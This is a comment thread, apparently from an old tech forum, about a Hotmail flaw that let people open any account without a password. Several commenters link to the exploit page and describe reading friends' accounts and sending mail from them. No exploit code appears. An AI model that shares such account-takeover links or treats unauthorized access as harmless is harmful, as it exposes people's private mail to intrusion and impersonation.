Hi. I tried this with some ID's from friends. I got through on one, but after that I got accesss forbidden (403). Has anyone tried twice? Or more than one acct. from the same IP, or did they fix it?
Don't know how, but it looks like their re-directing the re-direct to a new address.
It worked w/o a password on my own account. I was too fearful to try any others.
The site just went down. And by that I mean www.hotmail.com. Lucy, you got a lot of 'splaining to do!
Well, the pages I've been using have just now started to be refused by HotMail. Looks like they had to take down the whole hotmail site to fix the problem; I wonder how long that will last! I can't connect to www.hotmail.com, or via the "crack", it seems.
:-)
Or are they just refusing traffic from my site?
---ZahrGnosis
I did a trace route and found that the route to hotmail seems to be down.
bordercore1.Sacramento.cw.net [166.48.188.1]
Can anybody confirm?
The world isn't run by weapons anymore, or energy, or money. It's run by little ones and zeroes, little bits of data.
The Site is gone already... Pointing you towards MicroSlut's Wall of Shame Page, I mean their security holes page... [grin]
If I'm right isn't hotmail.com running on UNIX? that figures. UNIX has more holes than an old womans underware.
hmm, how about all those "send password via email" websites.. Wonder how many let you see their members id & email address.. (ICQ??)
Well that's interesting.... it seems as if this might be caused by Microsoft Passport. After all, since Microsoft Passport is Microsoft's new 'tool' for getting into websites without reauthenticating, they had to have some FUD to promote it..... Take a look here to see the MS FUD on "Passport Security".
sort of auto-linking abusing the url.
I believe the Finnish server you were referring to was an anonymous remailer service at anon.penet.fi; one that, if memory serves, anonymized both ways (one could anonymously send mail to a user of the service, as well).
Word is, that the service was shut down after the judicial system was used to disclose account information, after the Church of Scientology went after a disgruntled ex-member who was using anon.penet.fi. However, that might only have been possible since it was a remailer service, and thus had to know about the actual e-mail address if memory serves. Thus, the real (non-anonymous) account could be revealed.
Web-based system might change that, if the admins -- and users -- actually care about security and anonymity. Hotmail clearly does not, as it puts IP addresses in mail sent via itself -- addresses that could point to a whistleblower's work machine, for instance, and it also requires a bit of information for registration.
Only the dead have seen the end of war.
Here's a little problem I've noticed (including relating to the recent ProFTPD root exploit).
:-)
People think they can get away with strcpy, or sprintf, or similar. This is wrong. You should ALWAYS verify the amount of data copied, wether it be to a fixed sized buffer, or a malloced region.
strncpy, and snprintf are very, very good ways to secure your code from the start.
But this is often disregarded! Agh! Pascal and Basic make people soft about how they handle strings, because they encode length in them and use their buffers in a way that seems logical at first, but is very holey when it comes to actually implementing things.
Strings in C != hard, if you can accept the ideas of pointers, string library functions (I like the abstraction), and general good coding techniques
--
Internet Explorer (n): Another bug -- that is, a feature that can't be turned off -- in Windows.
Yes hotmail runs BSD/Apache, but MS bought it. It's most likly the code and MS IT managers should have seen the security problems and addressed them.
But this is also a problem with IT managment everywhere. Sys admins typically tell IT managers everything that needs to be done (backup, security, etc.), but IT managers are reacting to poor business practices of the marketing/sales people, and ignor problems util they happen.
I strongly urge you (for a laugh) to take a look at billgates@hotmail.com, bob@hotmail.com, and xxx@hotmail.com.
Gates sure likes his pr0n...
anyone got a link? plus i guess it was just a software fault, nothing else... right? sloppy programming (m$ style) and people that had time to track it and exploit it...
...sie sind nicht grün
nevermind... it is too dangerous
let's wait for ms to plug the hole
...sie sind nicht grün
a lot of people used it and it works fine... like getting to admin@hotmail.com.. and any other existing account
...sie sind nicht grün
so what am i supposed to do if i have an account with hotmail and i have sensitive information there? any suggestions? i guess all i can do at this point is delete everything remotely important and pray that no one that would be interested will logging to look at my account.
[btw - i do not have an account with hotmail, but a lot of my friends do]
...sie sind nicht grün
it is working.. just heavily ./'ed
...sie sind nicht grün
just wondering what microsoft can do with the domain owner that posted it?
...sie sind nicht grün
i think the problem was more closely related to msn instant messenger than to msn passport (both were introduced to hotmail members recently). msn im tells you when you have mail, and lets you go to your inbox or specific messages by opening a temporary .html file on your computer that redirects you to a specific hotmial url. the first version actually put your password in that temporary .html file, but that was fixed. today, i wasn't able to use that feature of msn im. i got the same error as when i tried to access my account through the 'crack' page.
.html file containing your password too hastily?
perhaps the problem was that they implimented the fix for the temporary
The shareholder is always right.
Hotmail is DOWN!!!!!
Well, this one works.
:)
http://area51.slashnet.org/~drw/hotmail.phtml
Or at least it used to, they may have fixed it by now. I went in and looked at three people's accounts with my own two eyes (including mine), so I know it works. Unless they download every single hotmail account to fake, this is/was a real exploit.
Apparently it was a screwup on the part of whoever programmed that part of the CGI running Hotmail. I'd love to know who made that mistake.
-- "So they told me that using the download page to download something was not something they anticipated." - Bill Gates
Has anyone tried sending email? I just logged into a friends account using this exploit, and sent myself an email using his acccount. It showed up here at my ISP's server.
This is really really really bad. What can't you do with this?
-- "So they told me that using the download page to download something was not something they anticipated." - Bill Gates
The index.cgi program that drives the crack just got pulled. I think all of us here beating on it got the attention of the sys admin at 2038.com.. ;-)
Take care.
Polymorphism -- It's what you make of it.
Jeez, I don't get people slamming M$ for browser compatibility. I'm sorry, but if I'm M$ I could give a rat's ass if my pages work in Netscape, except the one that let's them download IE.... And if I'm netscape, I don't care what my pages look like except the one that let's em download Netscape..... sorry foks, that's business...
I LIKE hotmail.... the new OE 5 lets you access that common web-based mailbox from right within your email client. I think it's pretty slick.
DO NOT DISTURB THE SE
after you put in someone's name, it can't locate the cgi... it's been taken down definitely now. not just /.ed
Before we start going ape on Microsoft (I'll be the last one to defend them, though), has anyone actually used the crack and got it to work?
I just tried it with a few peoples hotmail accounts I know and IT DOES SEEM TO WORK.
Make sure nothing important is on hotmail.
Wow.. this is scary.
The URL works, how ridiculous.
This is obviously not an OS issue, as many have so eagerly assumed, this is egregiously bad application design.
If Microsoft was smart, they would shut Hotmail down until they can fix this stupidness. This hole is big as a barn door, and now that the cat is out of the bag, I can only imagine the grief that some unsuspecting Hotmail users may be in for.
*sigh*
Is it just me, or has a redirect been setup at the 2038 site? It's pointing to Microsoft Security Advisor. hmmmm.
Ok, this company needs to be squashed and squashed hard. I started using hotmail before it was MSN Hotmail. I chose hotmail because it was free, low on advertising, and I could access it with a text browser (this was before I had my own pc and used a library terminal). Then Dr. Evil came into the picture and f*cked everything up. One of the first "enhancements" they did was take away my Lynx access. That pissed me off royally. Now, every (ahem) 3l33t haxor dood with too much time can use my Mastercard #. Screw Microsoft. Hotmail was fine until these losers showed up. To Mr. Gates... If it ain't broke, DON'T FIX IT!!!!
_.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._
ASCII art?? I thought it was a REGULAR expression
I read in a swedish newspaper (www.aftonbladet.se) that HU will hack Hotamail again today.
Aftonbladet writes that microsoft only has secrured one of the 6 servers witch don't check the passwords, and that they gonna "crack" another one today. I'm looking forward to this......
(If only ppl could learn the difference of HA/CRA -ckers)
To be continued i recon.......
If you'd taken the trouble to check out our website, you'd know that our code is developed in Anguilla, BWI and our bandwidth is served out of Canada, so we are not subject to U.S. laws regarding encryption. Otherwise, logic should have told you we would have been shut down months ago.